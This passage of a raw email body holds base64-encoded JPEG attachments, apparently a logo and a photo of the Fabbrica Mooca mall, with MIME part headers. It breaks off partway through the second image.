1aHdj9tI/JQ+C/E4XC6Be/8Afo1V/wCEE8W72b/hHr3B/wCmRr9dv+Ee8P8A/QC0/wD8BU/wo/4R 7w//ANALT/8AwFT/AAp/V4h7aR+Qb/D/AMXMuB4fvf8Av2az7r4Z+M5Gynhq9P8AwDFfsZ/wj3h/ /oBaf/4Cp/hR/wAI94f/AOgFp/8A4Cp/hT9hEXtGfja3ws8ZFcDw3e5/3Kib4VeNiePDN7/3wP8A Gv2X/wCEe8P/APQC0/8A8BU/wo/4R7w//wBALT//AAFT/Cn7GIudn4yt8JfGh6eGL3/vgf40L8Jf GhbLeGL0f8BH+Nfs1/wj3h//AKAWn/8AgKn+FH/CPeH/APoBaf8A+Aqf4UexiHOz8bY/hb4yQ5/4 Rm9/74/+vU8Hwz8YxtlvDd7j/cr9i/8AhHvD/wD0AtP/APAVP8KP+Ee8P/8AQC0//wABU/wpewiP 2jPx8T4d+Mg2W8OXf/fupV+H/jBQCPDt7n/rnX6/f8I94f8A+gFp/wD4Cp/hR/wj3h//AKAWn/8A gKn+FHsIh7WR+Q3/AAgni/G3/hHr3H/XM1Kngnxgu3d4fveOv7o1+un/AAj3h/8A6AWn/wDgKn+F H/CPeH/+gFp//gKn+FL6vEPaM/I5PBHixXy3h+9Ye8Rpx8F+LANq+H73/v0a/W//AIR7w/8A9ALT /wDwFT/Cj/hHvD//AEAtP/8AAVP8KPq8Q9oz8p/Cng3xdF4i02ZdAuxi6j5aM4xu5r9WvDtjqS+H 9MV7Zwws4QRjodgqay8P6CtzEy6JYAhwQRbJ6/SvZLW1tltYVW3jAEagAIPStIQUFZEyk5O7P//Z ------=_NextPart_000_00C3_01CEF723.E27A6070 Content-Type: image/jpeg; name="=?utf-8?Q?F=C3=81BBRICA=5FMO=C3=93CA=5FLOGO=5B1=5D.jpg?=" Content-Transfer-Encoding: base64 Content-ID: <5C1DD69B10C04F588DD42DB3386876BB@ROBERTOAZEVEDO> /9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAMCAgICAgMCAgIDAwMDBAYEBAQEBAgGBgUGCQgKCgkI CQkKDA8MCgsOCwkJDRENDg8QEBEQCgwSExIQEw8QEBD/2wBDAQMDAwQDBAgEBAgQCwkLEBAQEBAQ EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBD/wAARCACaAJoDASIA AhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQA AAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3 ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWm p6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEA AwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSEx BhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElK U1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3 uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD5LFvs bn5qkFum3KVMqlEyaN+fuJXjnaV9ielOWLuka1YaMfcP1qFjxQSHyIvIqPY7N1+Wmt87ffpyyhVq yhzfJwPnxRvO3IqOS4itlDTSIiddzmsPUvGWkW7bLYvO/wDs/do5BwjKZvM54kI3VDvkd8iuNuPH Gpy/8e8MEXP+9XSRmd/hRd+Mpr5lv/7aWwhCqNuzZlq09maexmaCZHz04y4+RK87/wCEn1sDyxqD df7o/wAKsW/jHVYBmYxSe7LR7MJUJHfOC4UgLTiCFbjbU2h6H4m1bRrTVzpH2f7fue1gMgEs6Ku5 pVX+7Wat1FdRh7eZZI2OCFbdzU8pjyFrzd6/foVkT/eqNcIuzNHyn+OpESM/zU1d+/j7tCum7n71 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 ------=_NextPart_000_00C3_01CEF723.E27A6070 Content-Type: image/jpeg; name="FABBRICA_MOOCA_MALL%20-%20004[1].jpg" Content-Transfer-Encoding: base64 Content-ID: <62B88C3E056C4ED2B9B6111DF0DDE053@ROBERTOAZEVEDO> /9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAMCAgICAgMCAgIDAwMDBAYEBAQEBAgGBgUGCQgKCgkI CQkKDA8MCgsOCwkJDRENDg8QEBEQCgwSExIQEw8QEBD/2wBDAQMDAwQDBAgEBAgQCwkLEBAQEBAQ EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBD/wAARCAGDAkMDASIA AhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQA AAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3 ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWm p6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEA AwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSEx BhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElK U1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3 uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwDkdK8b ab4m0/7H4mt4rxGXatzGNsif7w/irB1/4V291H9r0N4by2+8rK3zr+FaVx4B8O66ran4F1L+y9UG Gkspj+7kb/ZrEt9e17wjqC2PiizmsZk+VZQp8p/esH/dD1K3hGHVfB/izQmk1F4oHul84z9U59a+ 5vDeqaTf6fNJEFVXbKSbfv8AOP8AGvliNvDviqNf7atxcwbWAmibaRuHWvQfDPjLR/Dsmn6C155q C38m2zJlvJj4DMP72MZp4aXsqvMaVPfjY9E8XaGzXizW6A7v4tteV3U09pqxTfuZG2tn+GvW9P13 7SVltplubdl+bPLLWL4m8KaVq8Z1DT18qRj8y92r7XAZhSlpM+bxeEnuji4dRuY7sbrhWjY1rtfx tj0rn9a0abR9rWzHZt3fNVVbq6ktxNJuXbXsyowq6xPM55UtJHVNcchlTr/FVfUb1bWzeTzN5rm7 jWLi3iT75rLutbe4hkjZq6KOEJqYuy1Kt/rEjSN/6DXO30oml38q3+zUl1KzTUNazbN+yvYo0IwP Fq1ZS1KMilV3CTOaZ83tUsi/pUeOldHLE5eeQhz/ALYpvPvUtRselVyRFzyGtnaeKiwf9qp8sewq KRW3fdo5IhzSImElG3A70+jatHJEHORHzTG8z3qbbTSKtQiRch/Fs0KG3dWqXy8UnNWoxDmGY92o 4/2qfTaOSIc8hv8AFUyM+0dajb71TKvy0uSIc0hI/vfWpP4jTFHNSbfap5IlKcgjjk3Z+bmiRTTo 36dqsL5O1t3NZuMUac5RKfL9abtYfwtW1a2v29Gh2BGRdy1mTQyQyMknNVHlJk5Mg2mnNlfuM1Lt parliTzyI2eTb/FTm6Uu32oo5Yj55EQ3f7VO2n3qTb7UbPajliLnkM5/2hR8/wDtU/aR2p1Q4RHz yI9jUvze1PpNrelHJEOeQzb9adGvq1O5o20ckQ55DttNPu1TIvvTWX5qOSJop3IdtHH9+pttNMdH JEzuR/8AA6cqMzL1FL5fpU6rijkiClI0tOihVkdpm+X71b+i6pZabu8zbJI7f3a5BWnVvkO0VMss nnbvMrCWH5johWcTqNa1m3m+4nP5Vy8jCWY7nKiiSZ3b5sVC+Q1FKhGJdSvKRsNqUEGnLbQsXf8A i3d6w5HdjuNO3UytY0omDqSE69jTfm/vU+k21XLESk2NxRt+tLg+lO+b24o5Ij55CMny/eqP86cC G6UtHLEOZvYhpv7z/aFS7f4uKOo46mjliS5SLWl6LeatI0cCt5aJuZq9Q+HfhuGws7h5mDTN93d2 rD+H9xbWtjcS3MY5+61b194m+x6TJJa7VZ/lryMXUlUl7OJ7ODUYR55HSeIptLXSRbWc2yUrskbc TmvJ9TWws5mO/e6/dqPVNav7xoo3ZlRfm+VqyWuDcTc5arwuE9n8RlicX7T4T1LwP4ottN0g3Uix tLu2otdvY+NF8OeG9c8aWIK3ul2Fxfxj/ppFGzrj8VFeGWhVbNldmAHP0qa88W3knhnXNMjUtA+l XSMvcAxMMmuDMcvvSnOJ3YHGONSMZH3d8O/jFrviLwTo+t3Rbzby3EjZ9cmiuJ+D4A+Gfh7j/lzH /oRor8wPtj4V1Lwz408DxR6pbouu6M3zJfWjbiF5+9t6Vt6B4+03xDp/9mapDDqlq67THcAB0/3T 1zXG6P4i8UeBdSNpHNc6bMR89rOv7qUf7rfL/WuiuG8A+OHSXULZfDOsTcpe2efIlb0Yfw/X9axA 07r4du8bah8Mdecf89tLuz8w/wB2vRfhX4G8K+OrZbTXNFl03VrC1lt/PztkjlJHzL/ezXlF5a+O /A0RnvrU6vp4/wBTqFm27b77h1r1b4D+OLfUtYJ8QTx3sMyeWsuNskTe/vRYuLPR/E3gmDwR4btL vwy1+Lm2YRzMimRJfVmUc/jWToPjfS9QVP7cQ2qQvgzxgtGze+OM+x5r2G4ZbO2jWzWW7iI3Ku75 /wD69YyeG/DN9Y6jYw6ZDHFqXyX0aps+b1H91h6ipVScHoackJ7nMeIPC6a7pLzaevm7+VjZ8ru/ 9lb2rg10v/RZNPurdo5F/utmu7tPh7rvhm1U+GdZup2tYzGkN4wJuIw33tw/iA9RmoNT0e8ggh1B rdVmf/WL2r6vIsxqVf3czw80wMf4kTi10mwmhMboZJUXavtXC63pMLNdTWu5Gh++tewadYfZ7rzr iMbW+avN/HGnW1rqF5ctI0TTfdVW+9X1+Er81TlPmsXStG5wp7bs5FSLcSIrIv3TUbdaSveUTxVI ib+Kmfhip2T8KctvGy/NJVGe5VNJ5XBq6LFm/wBUNwq5aaK3ltNIGMa/eqXOwKndlS00t7j7uKgv rVlbY+Ay/wB2tRb1rNm8nBWse4lkuJGkmyKVOEpSuaVJRjEr7aj2fSp+Pak2/StjmIfLpdgqQr9K TbQBAaTbU+1femFOM1YEe2jYvrTvzo2/SggbtpyrTtqU5V+YUFXI6cKkC/NTtq0WGNVRS9D9KfsS jalRYLlzTZXjmWZa19Q0O3uAtxF1kX5vrWBazCFu/Fa1rqUzPHHu+XdXPV5uh1UJRfxGVdaTeW7N utm8tP4lqBUX2r1u0WxuLXy51V1dfmrhPEmk2dnqDfZf9W3Ss6NZylys3r4eNOPOc4y0zy6sNF8x pu36V2HAN2r9aNtO207avvQSR7aTFS+XTvKoLIQtG2pvKp3lfSgRX207Z9Kl8v2pfLosAzbSMtWo Ydyt8tNVfmagZCq07y6m8ladtoKaKqx/NUoj9hT9i0mwUEjD96jZ/H3p2PalagoZGpZuKkmt5lXc 3SmR5WpJJpJF2sakCnjNO2cVLspKoncr0/FOZUpu3c3l5b69qL21Abnt2q7o+g614kvo9O0LTbi+ uH+4kK7j/gv1NegfBv4J6v8AFC6bUJHa00O0fbPddGlb+7HX2H4N8D6D4IsToXhzRY7AxR/PcLCG nl/2mPSvnc0z+jg/dh8R72X5TVxPvS+E+YPD37J/i6/tUu/FGsWukA/N9lj/AHtx/wB8/wCFeg2f 7GHhXYpvPGGph4xmYeUkexvfdnH5177DYx6Q0SXl/aQNIcwfaBmZ2/3uqn2qHVF19IYZtWt7C4gm fy1hkbfMf+mYbn65r42pxFjKsvi5UfSU8kw0PiPnS+/Y1tZrX7TpHibUVkYsqGS3R0b34rzbxl+z L8SfCdrNeW8NtrFlE22VrGTLA/7h7/SvuOCeaaYxi1s7eVG+aH7V5qmLHTaKb5N4kz3d1JBcQ7Nq wRw7Cn+0vGGXg/nWtDiXFUn73vGdfJKM/gPztshPbg6fMzRNGf3iSLtI/wBkg9K6DU20u40FNybb gLhU/wDZq+qviZ8F/CPxPt5L5YY9D1xflt76Ndvn/wB1ZEP3/r2r5N8W+F9Y8G67N4d8QWrwXCcf 